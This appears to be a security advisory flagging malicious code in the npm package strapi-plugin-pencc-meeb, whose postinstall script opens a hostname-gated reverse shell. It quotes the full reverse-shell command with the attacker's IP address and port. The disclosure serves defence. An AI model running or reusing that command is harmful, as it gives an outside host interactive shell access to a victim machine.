MAL-2026-16210
Malicious code in strapi-plugin-pencc-meeb (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (3b4277c223cb7d5a9b8c263570a18670ee5054779862fbb801024a55629aa208) postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvm' and, on a match, executes `bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1"` via child_process, opening an interactive reverse shell to 14.225.210.85 on TCP port 80. The script includes retry logic and writes to /tmp/postinstall-revshell.log. The hostname gate suppresses activity on non-matching hosts, but the payload is shipped in every install of this version.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for strapi-plugin-pencc-meeb (npm). Pin to a known-safe version or switch to an alternative.